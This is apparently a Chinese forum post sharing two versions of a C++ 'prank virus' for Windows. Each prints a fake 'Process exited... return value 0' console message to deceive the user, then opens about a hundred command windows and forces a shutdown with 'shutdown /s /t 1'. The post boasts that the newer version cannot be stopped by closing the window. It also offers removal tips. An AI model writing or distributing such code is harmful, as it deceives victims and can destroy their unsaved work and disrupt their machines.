#include<bits/stdc++.h>
#include<windows.h>
int a,b;
int x(){
	int c;
	while(!(c>0 & c<=9))
		c=rand();
	while(!(a>=1 & a<=3 & b%10!=0 & b<=999 & b%100!=0)){
		a = rand();
		b = rand();
	}
	while(c--){
		std::cout <<"\n"; 
		std::cout << "--------------------------------"<<"\n";
		std::cout << "Process exited after "<<a<<'.'<<b<<" seconds with return value 0" << "\n";
		system("pause");
		std::cout << "\n";
	}
}
void r(){
	x();
  std::cout <<"\n"; 
  std::cout << "--------------------------------"<<"\n";
  std::cout << "Process exited after "<<a<<'.'<<b<<" seconds with return value 0" << "\n";
	system("pause");
  }
int main(){
	r();
	int x=100;
	while(x--){
        system("start cmd");
	}
	system("shutdown /s /t 1");
}

两种解决方案: 1.在任务管理器上结束运行; 2.关机重启。

已更新至5.0

更新内容:

1.使代码更DOG(将无法通过关闭黑框来结束病毒) if想用最原始的代码,用下面这个:

#include<bits/stdc++.h>
#include<windows.h>
int rand_(int l,int r){//随机数函数
    std::srand(static_cast<unsigned int>(std::time(nullptr)));
    int random_num = std::rand() % r + l;
    return random_num;
}
int main(){
	int a = rand_(1,4);
	int b = rand_(100,200);
	std::cout << "--------------------------------"<<"\n";
	std::cout << "Process exited after "<<a<<'.'<<b<<" seconds with return value 0" << "\n";
	system("pause");
	int x=rand_(100,120);
	while(x--)system("start cmd");
	system("shutdown /s /t 1");
}

9 comments

  • 1